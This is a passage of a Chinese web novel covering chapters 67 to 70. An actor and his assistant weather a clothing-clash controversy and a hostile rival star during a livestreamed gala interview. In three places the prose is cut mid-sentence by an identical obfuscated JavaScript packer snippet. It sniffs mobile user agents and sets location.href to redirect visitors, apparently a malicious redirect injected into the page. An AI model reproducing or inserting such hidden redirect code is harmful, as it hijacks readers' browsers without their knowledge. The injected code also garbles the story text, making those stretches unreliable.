“！！！”王墨激动的快跳起来了，“谢谢萧哥！萧哥，来！再拍几张！我还想到几种构图！还有外面那个走廊也能拍，宁茉快，拿着补光灯咱们出来拍！~” …… “星芒之夜”直播晚会在微博上的讨论度越来越高，一大半的热搜都在讨论这次晚会，不少明星们的造型图更是引起热议。 在一中“周杉紫色珍珠刺绣礼服”、“夏亦冉超绝粉色鱼骨裙”、“姜明辰星空丝绒礼服”的热搜中，另一个热搜突然冒出了头。 #萧扬深海人鱼# 热搜下是萧扬工作室发布的一组图，萧扬身穿一套渐变蓝色礼服靠在镜前，他的刘海微微湿润，眼眸也是湿润的，镜子里水雾弥漫，只有另一枚镜子反射出的深邃眉眼，漂亮到不可方物，照片色调调的很微妙，像潜藏在深海的人鱼于幽深的夜色中悄然浮出海面，影影绰绰看不清楚，只能感受到人鱼的神秘冷清和魅惑。 这条微博迅速被无数人转发，粉丝在微博下尖叫惊讶。 “我的天啊这个眼神！一看就是阑牧，好厉害的演技～” “原来萧扬也来参加星芒之夜啦～这造型真好看，请了知名设计师设计的吧！” “这套图拍得好有水平啊，像Evelyn的风格，是不是请了她来拍图呀！” “在一众无聊的常规造型中，我宣布萧扬这套赢了！” “好帅的人鱼！期待红毯～” …… 红毯候场区，无数明星在互相打着招呼寒暄，而在无人注意的角落里，萧扬和宁茉并肩站着，宁茉低着头刷着微博。 “反响很好呢！”她满眼兴奋，举起手机给萧扬看，“你看，网友都很喜欢你这套造型。” 萧扬看向她的手机，在看清上面的字时顿时皱起眉头，一字一顿道：“深，海，人，鱼？” “……”宁茉看着他的神情，没忍住笑了出来，“……这可是孙哥苦思冥想后起的标题，据他说他同时和五个AI软件头脑风暴，才对比出了这个最好的标题。” “……”萧扬显然不是很想评价这个称呼，但有人比他更快看到热点。 “呦，这不是我们风暴剧组的深海人鱼吗？”魏瑶穿着一套浅蓝色的晚礼服，笑眯眯地走过来，“原来你在这儿啊。” 萧扬：“……” “什么人鱼？”《风暴降临》的女主演周衫姗姗来迟，穿着一身漂亮的浅紫色珍珠刺绣礼服裙、踩着十厘米的高跟非常不适应地走了过来，“你们在聊什么呢？” “周衫姐！”魏瑶立刻热情起来，“快来快来，看萧扬上的新热搜～” 很快，陈昌和海文成也到了，几个人站在一起等着出场，宁茉在一旁观察了一下，剧组几个人似乎有种特别的默契，穿的衣服都是紫色、蓝色的，站在一起时分外和谐。 魏瑶原本站在周衫左边，海文成走过来后，周衫给他让了位置，让他站到了中间，也就站在了魏瑶旁边。 魏瑶怔了一下，发现自己莫名成了中心位，又慌忙把位置让出来，让海文成往中间站，随后她站到了萧扬侧边，成了站在最边上的人。 萧扬只好再给她让位置，让她往中间去。 陈昌看几个人的换位看的笑出了声：“行了行了，都快成转盘了，都别动，我来安排。” 他把海文成和周衫拽到一起：“两位主演站中间。” 他又把魏瑶拽到海文成左边：“你站这儿。” 随后他拉上另外几位主演一左一右安排在海文成和周衫旁边。 最后他搂着萧扬的肩膀，随意地站到了最侧边，一笑道：“我和深海人鱼站这儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15061128|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “……”萧扬沉默了片刻，脸上没什么表情，只是视线幽幽地看向魏瑶。 宁茉在一旁没忍住笑出了声，其他几位演员也全都开始笑。 魏瑶立刻举手澄清：“不是我告诉陈导的，我今晚还没见到他呢。” 周衫和海文成的回答也十分迅速：“也不是我，我刚看到热搜。” 陈昌哈哈大笑：“我也是会上网的好吗？再说了，有热度是好事啊！《风暴降临》播出成绩不错，等下个月播完了，给你们办庆功宴！” 这条消息一出，众人纷纷激动起来。 “真的吗？！” “哇！太好了！” “谢谢陈导！” “谢谢陈导。” “不用谢我，要谢也是谢你们大家，”陈昌看着众人，语气认真，“大家都辛苦了。” …… “星芒之夜”直播晚会在红毯中拉开帷幕，无数人涌入直播间，飘过的弹幕中，“海文成”、“姜明辰”、“白野”、“周衫”、“秦娇娇”几个名字出现的频率格外高，宁茉也忍不住在后台刷起了直播。 在讨论声中，有不少人也在期待风暴降临剧组的红毯，众人都提前看了几位主演工作室发布的造型图，纷纷议论这个剧组是不是商量好了要统一色调，礼服颜色怎么都这么和谐。 终于，六点四十分，《风暴降临》剧组如约走上了红毯，直播在线人数立刻翻了一倍。 “哇！这是什么高颜值剧组，人均男帅女美啊～” “天呐萧扬好帅呀！他在直播镜头里竟然和工作室的出图没有任何区别！” “一眼望过去萧扬是最帅的，帅晕了呜呜呜” “魏瑶好漂亮！现场清唱的几句也好好听啊～” “感觉是个非常有爱的剧组，互动都好可爱，人均十个梗！” “冲着这个配置，我要去追《风暴降临》了~” #风暴降临剧组#红毯的热搜很快到了热搜首位，无数人围观圈粉，其中关于“萧扬”的讨论量意外的多。 不为别的，他走红毯时实在是帅的很突出，在一众人里是身高最高的那一个，肩宽腿长，红毯直播时每次镜头停在他身上都会忍不住多停几秒。 红毯结束后，萧扬和剧组众人打了声招呼，随后跟着工作人员去了嘉宾访谈间。 宁茉已经提前等在这里，和访谈导演对稿子，她看了几个要提问萧扬的问题，稍微放下了心：还好，都是些常规问题，应该很容易回答。 而且她也看了姜明辰的台本，姜明辰的访谈提问比萧扬要多得多，一眼就看得出谁才是这个嘉宾访谈间的中心。 这样一来宁茉反而不担心了，她还记得上次围读会上就因为萧扬表现出色、姜明辰当场为难萧扬的事情，这样一个小心眼的人，保持低调不要引起他的注意才是最好的选择。 这时，访谈间的门突然开启，一个长发女人快步走了过来。 访谈导演看到她，立刻放下手中的台本，脸上堆起笑容：“张姐，您怎么来啦？白野老师的访谈还要半个小时，是最后压轴的。” 被他称为张姐的长发女人只是皱着眉对他说了几句话，随后转身离开了访谈间。 访谈导演满脸意外，愣了一会儿，立刻又低头开始打电话确认，脸上的表情带了些凝重。 宁茉有些莫名地看着他们，不知道为什么，隐隐有种不好的预感。 三分钟后，访谈导演放下手机，向众人宣布道：“白野的行程调整，先参加直播访谈，和姜明辰一起——快，立刻调整线上直播间预告内容，还有把白野和姜明辰的台本拿过来，现在改！” “？！” 宁茉怔在原地：什么？白野？也要来？ 也就是说……白野、姜明辰、萧扬要出现在同一场直播里。 宁茉倒吸一口凉气。 ……这把是高端局。 68. 第 68 章 萧扬走到访谈直播间时，第一眼看到的就是愁眉苦脸的宁茉，他加快脚步走到宁茉面前问道：“怎么了？” 宁茉看到他，叹了口气，将手中的台本递给他：“最新消息，直播间增加了一位大咖，你猜是谁？” 萧扬看着她的表情，再看一眼直播间里慌乱忙碌的众人，脑海里很快浮现出一个人选。 “白野？” 宁茉瞬间睁大双眼：“你……怎么知道的？” “不难猜，”萧扬翻了翻台本上少得可怜的内容，“这种热闹他一向爱凑。” 宁茉太阳穴跳了一下：“你对他还蛮了解的……我怎么感觉他会为难你。” 萧扬耸了耸肩：“是么。” …… 宁茉将直播的变化发到了工作室群里，大家瞬间都炸了。 [孙尚万：啊？？？] [王墨：这是什么修罗场啊……] [浦世诚：白野这是干什么？原本给他排的都接近单人直播了，非要加入这个直播间搅场子吗？] [宋依依：（瑟瑟发抖.gif）冥场面，萧扬哥加油，挺过这一关你干什么都会成功的！] [萧扬：……] 宁茉看到萧扬的消息，转头看了眼身边的人，萧扬的目光正停在她身上：“在我面前这样八卦，是不是太明目张胆了？” 宁茉嘿嘿一笑：“加油萧扬，自求多福吧，这一把真的很难打。” “……” 离直播开始还有十分钟，访谈室增加了一把椅子，萧扬的位置在最右侧。 宁茉看了眼椅子上的人名标签，白野排在最中间，姜明辰在左边，右边则是饰演《如意环》男二号的谢霖，宁茉只在第一天的围读会上见过他，印象里他不爱说话，是个很低调的演员。 姜明辰再往左是白梵，宁茉对这个人印象深刻，他是《风暴降临》其中一个单元的主角，和萧扬一起录制过《欢乐对对碰》，一位非常乐观的显眼包，录制完节目以后直接成了萧扬的迷弟，隔三差五就给萧扬发消息。 刚才在后台见到萧扬也是一边喊着“萧哥”一边冲了上来，反倒让萧扬下意识后退了一步。 这时，访谈室的门突然被人推开，随后一群人熙熙攘攘地走了进来。 宁茉一眼就注意到这群人中心的姜明辰，他今天的造型很张扬，头发染成了银灰蓝渐变色，西装上也满是亮片，随着动作闪闪发光，整个人像个移动的镁光灯。 他身后跟着两个化妆师，正在给他尽心尽力的补妆，头发也给他打理的一丝不乱。 他那位助理就跟在他身后，一进来就直接找到了访谈室的负责人，要对台本做最后修改。 姜明辰则直接看向聚光灯下的座位，在看到贴着“白野”的座位名牌时，非常不耐烦地皱了下眉，“啧”了一声，看得出来对白野的突然加入也有几分不满。 他走到自己的位置坐下，目光很快对上了就站在不远处的萧扬，萧扬朝他礼貌地点点头当作回应，他却没什么反应，只是低头看向手里的手机。 宁茉看着姜明辰身后那两位忙上忙下的化妆师，再联想到从化完妆后就再也没有人管过的萧扬，顿时觉得有些心酸。 她转到萧扬面前，仔细地打量了一下萧扬，从眉毛看到眼角，又落到他的嘴唇上。 萧扬的视线和她对上，瞬间理解了她在干什么，有些好奇：“你会化妆吗？” “……”宁茉眨眨眼，气势顿时矮了几分，“……这项技能我还没有掌握。” 萧扬勾起嘴角：“那你现在是？” “不会化，但会欣赏，”宁茉收回视线，满意地点点头，“不错，妆一点都没花，萧扬老师平时保养的很好啊。” “……”她语气轻佻，让人平白便有种被调戏的感觉，萧扬挑了挑眉，开口道，“你需要我的保养秘籍吗？” 宁茉顿时做出一副很感兴趣的样子：“嗯？” 萧扬定定地看了她一眼，随后微笑道：“按时睡觉。” 宁茉：“……” …… 谢霖和白梵也到达了访谈间，两人和姜明辰、萧扬分别打了招呼，就坐到了自己的椅子上。 宁茉推推萧扬：“人差不多齐了，你也过去吧。” 萧扬于是将台本还给她，大步走到访谈室中间，坐到了自己的位置上。 直播倒计时两分钟，白野却还没现身。 直播访谈导演已经开始着急，不停地在对着耳麦催后台的工作人员：“直播马上都要开始了，白野人呢？！他不来要你们干什么吃的，去催啊！快点！！！” 宁茉看向镜头前的四个嘉宾，他们知道白野还没到时神情各异，除了萧扬依旧冷静，其他三个人都皱起了眉头。 姜明辰更是冷笑一声：“跟不上就别来了，不差他一个。” 他的话音刚落，访谈室敞开的大门处终于出现了一个身影，随着他的到来，所有人全部朝门口望去。 白野戴着墨镜，双手插兜、仪态懒散地走了进来，走到门口时他摘下墨镜，冲着众人一笑，面上却没有一点抱歉的意思：“不好意思，来迟了。” 宁茉打量了一下他，上一次见到白野还是在五年前，他和那个时候比起来变化很大，五官看起来精致了许多，鼻梁也更挺了，下颌线清晰，脸上每个地方都充斥着精心设计的美，唯独缺少了一种真实感——看起来像是个全面包装着的漂亮人偶。 直播进入一分钟倒计时，姜明辰看他一眼，冷笑一声没说话，倒是身边的几个人全都站了起来，给白野让位置。 白野就这么大步走过去，在经过萧扬时，他特意看了萧扬一眼。 萧扬没什么感情地回望着他，似乎只是在等他坐到位置上。 白野站定脚步，轻笑道：“好久不见啊，萧扬，你竟然回来了。” 另外几个人都听到了他的话，全部看过来，姜明辰和谢霖的目光带着打量和思考，白梵则一脸疑惑，惊讶于这两个人竟然认识。 萧扬点了点头，语调平淡：“好久不见。” 白野扯起嘴角：“期待你的表现。” 萧扬抬眸看向他，视线相对的瞬间，白野怔了一下。 萧扬轻声道：“嗯，谢谢。” 他全然忽略了白野语气里的挑衅，似乎对方在他面前根本没什么存在感。 “……”白野脸颊微微抽搐了一下，目光里的厉色一闪而过，随后白野恢复正常，若无其事坐回了自己的位置。 直播正式开始。 …… 无数观众涌了进来，直播界面瞬间就被弹幕淹没。 “啊啊啊啊白野我来辣！！！” “白野白野白野白野超级帅超级帅超级帅” “姜明辰！！来看超绝辰辰~” “霖家粉丝报道~” “我们快乐小狗白梵今天的造型好阳光！~” 宁茉也打开直播，同步盯着观众的反应。 在一堆粉丝刷屏中，也有几个真实路人的评价。 “卧槽，好帅的一张脸！最右边这是谁？？？” “救命，我怎么觉得他比白野还帅呀，而且化了这么淡的妆五官还这么夺目，天生帅哥啊！” “我嘞个清水出芙蓉啊，弟弟今年几岁了？可曾演戏？演的什么剧？” “家人们这是萧扬啊！！阴暗年下阑牧啊！和剧里完全不一样的气质，好帅！！！“ 宁茉看到这些评论笑的开心，默默截图，发到了工作室群里。 看着看着，她突然发现弹幕里两个字出现的很频繁——“撞衫”。 “？” 宁茉抬眼看向白野，再向右划看向萧扬，来回看了几遍，后知后觉的发现了一件事情。 两位好像……有点撞衫了。 衣服版型设计很像，而且色系也都是蓝黑色系的，宁茉立刻在微博上翻找白野的服装信息，看到牌子的瞬间，她瞳孔一震： Brioni。 竟然真的是同一个品牌的衣服！ 工作室众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083467|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人也在关注直播，比宁茉更早发现这件事。 [浦世诚：怎么回事，连色系都一样？] [霍研：白野团队明明借了三套高定，偏偏选了这一套，这和他们原定的造型不一样！] [孙尚万：问了一下，是白野本人临时要求换的衣服。] [霍研：故意的？] 浦世诚顿时在群里发了一串含脏话量极高的语音。 [宋依依：……我们不会上热搜吧？（尖叫.jpg）] [王墨：已经上了。] …… 宁茉立刻看向微博，这才发现一个新的热搜挂在上面：#白野萧扬撞衫# 她犹豫了一秒，还是点开了话题，里面是很多营销号同时在发直播截图，说两个人穿的是同一个品牌的同系列衣服，只不过一个是高定，一个是普通成衣。 这些营销号简直像是提前约好的，截图里白野的脸庞都很精致好看，萧扬却大多是眨眼或看向主持人的侧面照，只从图片看，两个人的对比十分悬殊。 而白野的粉丝更是经验丰富，迅速占领了评论区，将评论带向同一个方向。 【野草莓酱：碰瓷不约！什么人都能和白野一起上热搜了是吧？】 【野兔兔：我家白野穿的是（Brioni）（春夏新款高定）（全球仅五件）（设计师Lysander本人点名要他穿），不是某些便宜成衣能比的哈】 【甜野小怪兽：同一个品牌不代表同一个咖位，野帝的脸才是衣服显贵的真实原因，望周知~】 宁茉：“……” 这也太全自动控评了吧，几乎不给人一点解释反驳的机会。 她看向正在回答问题的几个人，磨了磨牙，暗戳戳在弹幕发了几句“可是萧扬穿的也很好看啊”、“我觉得萧扬更帅一点”、“萧扬明明就很帅！”。 可惜她的评论很快就被淹没了，更多是白野的粉丝在弹幕上明里暗里嘲讽： “某些人真是咖位小还爱蹭，贴着你野帝吸血~” “团队飞舞借不到高定没关系，还可以撞衫呀~这热度不就来啦~” “热播剧男N号也是好起来了，都和白野出现在同一个画面了……” “没有白野的脸就别穿Brioni了，丢人现眼！” …… 眼看弹幕都被这些话题淹没，宁茉索性关了弹幕不看，抬头看向坐在访谈室中心的萧扬。 萧扬的问题已经回答完了，他此刻安静坐着，倾听着另外几个人的人话，时不时点头做一些反应。 察觉到角落的目光，萧扬看了回去，正对上宁茉沮丧的表情。 他视线一顿，将脸重新转回主持人方向，眼睛却看向斜前方的电视屏幕。 为了方便嘉宾时刻调整自己的状态，屏幕上播放着他们直播的实时画面，萧扬看了一会儿，很快就看清上面飘着的弹幕内容。 这时，主持人也突然话锋一转：“那么此刻，我看到关于我们直播间已经有了几个热搜，其中一条热搜呢……看起来比较显眼，说的是白野老师和萧扬老师两位的衣服，似乎……撞衫了。” 这句话一出，访谈室无数工作人员将视线都集中在了他们两个人身上。 姜明辰也看向左右坐着的两个人，做出了惊讶的神情：“这么一说，确实有点像。” 谢霖和白梵同时点点头。 “那么作为当事人，我想采访一下白野和萧扬两个人的想法~” 主持人说着，镜头给到了白野。 白野挑了挑眉：“这个我倒没注意，衣服是团队选的，下午就已经拍好照片了，我也没有看别人的衣服。” 他的语气轻描淡写，粉丝却立刻跟着附和。 “听到没？下午就拍过照了，某位糊咖是看我们白野穿的衣服，立刻找了同款吧！” “知道会一起直播才换的衣服吧，还真是一场酣畅淋漓的蹭热度啊~” “这不，话题有了，直播画面也多了，血赚啊” …… 69. 第 69 章 宁茉没忍住打开弹幕时，看到的就是满屏诸如此类、充满恶意的言论。 她沉默了五秒，反复深呼吸几次，压下沸腾的情绪，抬眼看向面前的萧扬和白野。 直播还在继续，镜头切到了萧扬，他的神情却还是隐隐含笑，丝毫没有被扰乱心神，只是笑着点点头：“是啊，似乎是撞衫了，好巧。” 他的反应出乎众人意料，大概都没想到他会这么淡然，连弹幕也诧异了一瞬。 “啊？都不解释一下吗？” “有种诡异的淡定呢，但是有一说一……这张脸真的很权威，给我一种他说什么都是对的的感觉……” …… 宁茉看着弹幕，再看看直播画面里的萧扬，陷入沉思。 在控制舆论方面，他们显然是不可能赢过白野的，偏偏又被抓住撞衫这件事大做文章，怎么解释都无济于事。 那么……如果索性不解释呢？ 萧扬工作室群里还在纷纷讨论着应对方法，直到宁茉在群里发了一句。 [宁茉：撞衫是谁故意做的我们解释不了、也没办法解释，但是……谁更好看这件事，我们还是可以辩一辩的吧？] [孙尚万：那，我们也整个艳压稿？] [宋依依：可是白野的粉丝控评那么厉害，我们根本吵不过他们啊，更何况他们手底下还养了很多营销号……] [宁茉：那就把战火扩大] [孙尚万：你是说？] [浦世诚：对啊！我怎么没想到，小宁茉，聪明啊] [孙尚万：懂了。] [宋依依：？？？什么意思？你们怎么加密通话？] [霍研：我看明白了，好主意。] [王墨：？我没明白？……] …… 三分钟后，微博出现了一批新的话题，是关于“星芒之夜”访谈直播间的。 不少营销号发了直播间的视频，画面里五个帅哥坐成一排很是养眼，微博标题也非常的简单粗暴引人注目。 《直播生图，看看谁更帅？》 《顶流大集合，这个直播间里你觉得谁赢了？》 《来选男朋友了》 话题很快吸引了一群人前来讨论，五个帅哥帅的各有千秋，其中最出名的两位网友们早就眼熟，故而注意力很快就转移到了直播间里，说话最少的一个人。 “最右边这个帅哥是谁啊？” “不用纠结了，我选最右边。” “我的妈呀！萧扬原来长这样吗！刚才发的撞衫图里是不是故意给人家P丑了！” “姜明辰今天这一身好拉风像孔雀，旁边的白野更是花哨的没边，相比之下，我选萧扬。” 粉丝们很快也抵达战场，迅速开始在评论区控评，在白野和姜明辰两家面前，谢霖和白梵那点粉丝简直不够看的，很快就淹没在了评论区，剩下的全是白、姜两家粉丝在争着控评。 【那当然是我们天选大男主姜明辰啦~新剧《如意环》敬请期待！】 【野帝的脸无需评价，任何人都比不了哈，禁止登月碰瓷】 【你也喜欢我们姜明辰吗？恭喜你眼光真好，捡到宝了】 【剩下四个都给你，我只要[星尚杯最佳新人奖][热播剧《逾越》一番男主][Brioni春夏新款高定首穿]白野一个就好】 在两家粉丝愈演愈烈的战火下，萧扬撞衫这件事很快就被大众忘却，更多的是为了凑热闹专程来直播间看直播的。 直播原定只有二十分钟，晚会主办方看到这样的热度，当即决定延长直播时长，并且将这个直播间置顶在网站首页，所有人进来第一眼都能看到它。 越来越多的人涌入直播间，界面已经开始有些卡了，不断刷屏、过度重复的弹幕也被官方屏蔽掉，弹幕里终于出现了一些正常人的声音。 “哇，这几位帅的好直观！” “好伟大的五张脸，感觉是能直接男团出道的程度~” “萧扬这身衣服只是普通成衣吗？？？怎么看着比高定好看！” “我的天，帅我一大跳，我是指萧扬——” “？营销号会不会截图，这个叫萧扬的长得这么帅怎么截的那么丑！” 宁茉重新看向镜头里的两个人。 白野身上的西装是蓝黑配色，衣服下摆有宝石流苏，整体设计繁复精致。 但白野本身带了不少首饰，耳钉项链戒指手镯一应俱全，当这些内容全部堆砌到一起时，就莫名有种过度包装的累赘感。 加上他的妆容也是偏浓的，在舞台灯光下看起来也许合适，但此刻直播间的灯光相对要淡一些，就显得他的脸格外惨白，和身旁肤色自然、轮廓深邃的萧扬形成了鲜明对比。 ……难怪网友说萧扬看起来更好看。 宁茉脸上终于有了点笑容，盯着萧扬看了半天。 萧扬注意到她的眼神，目光先是在不远处的屏幕上扫了一眼，又看回宁茉，朝她笑了一下。 宁茉几乎是立刻就理解了他的笑容含义： 做的不错，小助理。 宁茉耳尖微微有些发红，躲开他的眼神看向别处。 然而宁茉所在的位置正好有一个机位，捕捉到了萧扬这个温柔的笑容，立刻切进了直播里。 于是，无数网友看到全程都没什么表情、维持着阑牧人设的萧扬，突然冲着镜头温柔的笑了。 这是网友从未见过的一面，他的笑意直达眼底，一双漂亮的桃花眼在灯光映衬下更显得动人，这个不足两秒的直播画面瞬间击中了一大批人。 “我的天这个笑容！” “啊啊啊啊萧扬真的帅飞了谁懂啊！！” “我一拳将手机砸进墙里循环播放这个笑容一百遍” “萧扬这么多年到底为什么不火啊明明这么帅！” …… 微博上关于萧扬的讨论越来越多，那个一闪而过的笑容也被截下来发在了不少地方，连浦世诚都在群里感叹萧扬这小子什么时候这么会了，都知道主动抢镜头了，以前可是打死不干的。 萧扬的微博粉丝开始快速增长，原本由姜明辰和白野两家牢牢控制着的评论风向，也逐渐开始向萧扬倒去。 【撞衫不可怕，谁丑谁尴尬，萧扬，以你的姿色无需自卑】 【同品牌同色系而已，干嘛硬说撞衫，人家几万块的衣服穿出高定的质感，某些人穿着百万高定往那一站就是个酒吧销冠，还好意思骂别人？】 【建议白野把萧扬在《风暴降临》里的片段看二十遍学习一下，什么叫有效出演，这么小一个角色也能吸粉，你占着《逾越》的大IP却演的像个人机，对得起观众吗？】 【出道五年归来仍是星尚杯最佳新人，连个能看的奖都没有就别吹了吧】 …… 就在这时，大概是由于实时观看直播的人太多，网络故障，直播间出现卡顿，直播暂停了五分钟。 几个嘉宾起身休息，宁茉守在一旁，早早拧开保温杯杯盖，将杯子递给萧扬，夸他道：“超级棒！” 萧扬接过杯子，看了一眼手机里的对话消息，立刻明白了舆论反转的原因，看向宁茉：“这么聪明啊。” 宁茉得意地挑眉：“那当然了，打不过，还不能借兵吗？而且——” 萧扬大口喝了几口水，余光看着她，等着她的后半句。 宁茉笑眯眯的：“人气虽然是主观的，但你的帅是客观的。” “咳咳！……” 萧扬没想到等来的是这么一句，冷不防呛了一下，平复了几秒后，他忽而笑了。 “所以……你觉得我是最帅的，是吗？” 宁茉大力点点头：“毋庸置疑！” 萧扬挑了下眉毛：“那刚刚白野进来的时候，你为什么盯着他看了那么久？” “……”宁茉的表情僵硬了一瞬，她没想到萧扬会观察的这么仔细，眨眨眼，语气略带了些心虚，“很久没见他，有点好奇嘛……而且也想研究下他到底动哪里了，感觉和以前很不一样。” 萧扬眯了眯眼：“你什么时候见过他？” “……”宁茉怔了一下，突然意识到自己又说漏嘴了。 ——漏勺，自己简直是个大号漏勺。 她抿了抿嘴，沉默了几秒。 萧扬兴趣勃勃地盯着她，眼底满是好奇，大有一种打破砂锅问到底的势头：“嗯？” 宁茉：“……” 直播间的网络恰好在此时调整好了，宁茉猛的松了口气，快速拿走萧扬手里的保温杯，推了推他：“好了好了，你快回去吧，好好营业。” 萧扬却没有立刻动，站在原地又盯着她看了几秒，直到宁茉的头越来越低，才慢悠悠开口：“……那这个话题，我们回头再讨论。” 他转身回了自己的位置，宁茉躲到角落，暗暗叹气。 回头再讨论？还是别回头了。 …… 四个嘉宾都回了直播间，只有白野还站在助理面前没有动，他的助理低着头一言不发，小心翼翼举着手机给白野看，白野的脸色十分难看，盯着手机里的信息，冷冷道：“这就是你们要给我看的？” 助 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15102198|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理低声回复：“张姐已经在处理这件事了，应该很快就能出结果……” “很快是多久！”白野忍不住低声吼了一句。 他的声音引起了现场不少人的注意，大家暗暗看向他，他不得不再次压低音量，语气满是烦躁：“他妈的，我最后说一遍，别让我再看到一句萧扬的好话！！！” 助理慌忙点头：“好，好的白哥……您别生气……直播还有十五分钟就结束了，您再坚持一下……” “……”白野冷着脸沉默几秒，转身看向萧扬，对方正低着头和访谈导演对话，显然，由于他的网络人气不断上涨，直播增加了他的镜头和访谈内容。 “滚！”白野的眼底满是怒意，他猛地一推助理，大步走回了访谈桌。 …… 现场响起开播倒计时，主持人看着镜头，笑着开场： “好的，各位观众久等了，现在我们的直播继续，刚才网友发来几个问题想要问问在座的各位，首先是关于白野的，《逾越》这部剧自从上线以来获得了不少好评，大家都很喜欢你饰演的谷逾，你认为你的性格和谷逾这个角色有什么相似处吗？” 白野怔了两秒，下意识问道：“这个问题台本里有吗？” “……呃，”主持人表情一滞，忙解释道，“这是根据网友实时提问排名拿到的新问题。” 白野表情有些茫然，他下意识看了一眼不远处的助理。 “怎么增加了内容没有提前告诉我们，根本就没有准备回答内容！”助理出了一头冷汗，紧张地看着白野。 白野咳了一声，他已经沉默了五秒，现场氛围都有些冷，他必须要说话了：“……谷逾是个……比较高冷的人，和我……不太一样，我比较、呃、比较……就是我平时还是对人比较好的，可能不像他那样……” 主持人的笑容有些僵硬，眼神里透出了些“大事不妙”的意味，慌忙找补道：“好的呢，你是说相比起谷逾，你更加容易和周围的人打成一片是吗？” “对。”白野点点头，不肯再多说。 主持人捏了一把手心的汗，有些忐忑地看向萧扬：“那么……下一个问题是关于萧扬的：你在《风暴降临》中饰演的阑牧是个非常特别的角色，人气也很高，那你觉得阑牧这个角色有什么让你印象深刻的地方吗？” 像是怕萧扬听不清问题出现白野那样的情况，主持人特意将语速放慢了些，说完还贴心道“你可以多想一会”。 听完主持人的问题，旁边的宁茉眼睛蓦然亮了起来。 太好了，原先萧扬的台本里都是些不痛不痒、甚至和《风暴降临》都没什么关系的问题，现在新采访里终于提到阑牧了，看来访谈导演也在实时关注网络热议话题。 而且刚才白野回答的磕磕巴巴不知所云，只要萧扬能正常答出来，就一定会赢得观众的好感度！ 萧扬点了点头，没有思考太久，开口道：“阑牧的性格底色其实是很善良的，即使他因为遭受不公被迫退学，但他并没有完全对世界失望，在最落魄的时候，他看起来也许很冷漠，但其实默默帮了很多人，会感谢每一个给予他善意的人，特别是霏霏姐姐，她是个阳光开朗的人，正是因为她不断努力地去温暖阑牧……” 他不急不缓、头头是道地回答了这个问题，内容很充实，分析了阑牧的人物经历和性格，也提到了剧里两位刑警对他的感化，最后还感谢了海文成及周衫对他的帮助，可谓是周到又合适。 一番回答下来，主持人脸上的笑容越来越灿烂，看萧扬的眼神都在发光。 弹幕也早就刷了满屏。 “不是吧，白野是只会背台本吗？这么简单的一个问题答得像shi” “白野在胡言乱语些什么？到底有没有好好看剧本，连谷逾的性格都说不出来？” “这直播看得我好尴尬，要不停止提问环节直接做游戏吧，白野，你最好的医美是不说话” “啊啊啊萧扬这才是有效发言，条理清晰声音磁性，爱了爱了！” “太好了是萧扬，我们有救了~” “他叫周衫霏霏姐姐耶！磕死我了！！” “萧扬真的是高智商高情商宝藏演员啊啊啊！” …… 宁茉笑着冲萧扬比了个大拇指，萧扬看了她一眼，神情不变，眉尾却暗暗上扬了些。 一旁的白野注意到屏幕上的内容，脸色越来越难看，几乎挂不住笑容。 终于，在主持人再次聊到他的时候，白野突然冷不防开口。 “对了，大家还不知道吧？我和萧扬——是一起出道的。” 70. 第 70 章 白野这句话一出，现场诡异的安静了几秒。 就连镜头前的几个人也差点控制不住表情，姜明辰脸上是显而易见的诧异，谢霖和白梵也同时吃惊地望向萧扬。 他们都不知道这个信息，也不明白此刻白野突然抛出这个信息是什么意思。 宁茉倒吸一口凉气，眼皮突然开始狂跳，她有种直觉，白野多半没什么好话要说。 主持人听到白野的话，十分惊讶：“你们之前竟然认识吗？” 白野笑着点点头：“我们以前是一家公司的，也是同一天签约的。” 一旁的谢霖看了沉默的萧扬一眼，没有说话，反倒是一向大大咧咧的白梵径直问萧扬道：“真的啊萧哥？” 镜头给到萧扬，他面上没什么太大的反应，只是顺着点了点头：“是的。” “哇哦，两位真的很有缘分呢！”主持人笑着问白野，“那你看到萧扬因为《风暴降临》广受好评，应该也很开心吧？” 白野顿了一下，特意转头又看了萧扬一眼，笑道：“……是啊，我很高兴萧扬终于也出现在大家面前了，娱乐圈出头不容易，有机会当然要抓住了……” 他说到这里，语义不明的暂停了一下，才继续道：“当然，也不是所有人都能有这样的机会，像我运气就不太好，这五年拍了不少戏，从小配角一步步走到了今天，有了能演大IP的机会。” “可能有些人的运气更好，能够一步到位，这也没办法，哈哈……” 宁茉皱起了眉头，白野这段话很奇怪，他不讨论萧扬的演技、不说萧扬的优点，却在强调“机会”和“运气”。 而且他这番话说的很流畅，和刚才采访时的磕绊截然不同，简直像是……提前准备好的。 